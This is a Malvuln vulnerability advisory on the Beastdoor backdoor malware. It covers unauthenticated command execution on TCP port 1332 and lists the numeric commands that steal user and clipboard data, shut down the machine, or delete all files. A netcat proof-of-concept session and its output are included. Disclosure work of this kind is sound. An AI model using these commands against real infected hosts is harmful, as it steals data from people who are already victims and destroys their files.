Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/6268df4c9c805c90725dde4fe5ef6fea.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Beastdoor.oq
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 1332, makes outbound connections to SMTP port 25 and executes a PE file named svchost.exe dropped in Windows directory. Third party adversaries who can reach an infected host can issue various numeric commands made available by the backdoor.
Family: Beastdoor
Type: PE32
MD5: 6268df4c9c805c90725dde4fe5ef6fea
Vuln ID: MVID-2024-0674
Dropped files: svchost.exe
Disclosure: 03/09/2024

Commands:
27 return victims username and computer information
5 or 19 will shutdown victims computer
6 restart victims computer
9 delete all files including program files
16 victim computer screen goes black
28 returns clipboard information
30 terminates the backdoor and deletes it from the system

Exploit/PoC:
C:\sec>nc64.exe x.x.x.x 1332
27
27
VICTIM DESKTOP-2C3IQHO Windows 8.1 Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHzC:\WINDOWS\C:\WINDOWS\system32\1565 x 8302.01svchost.exe svchost.exe
28
28
I dont like u
30

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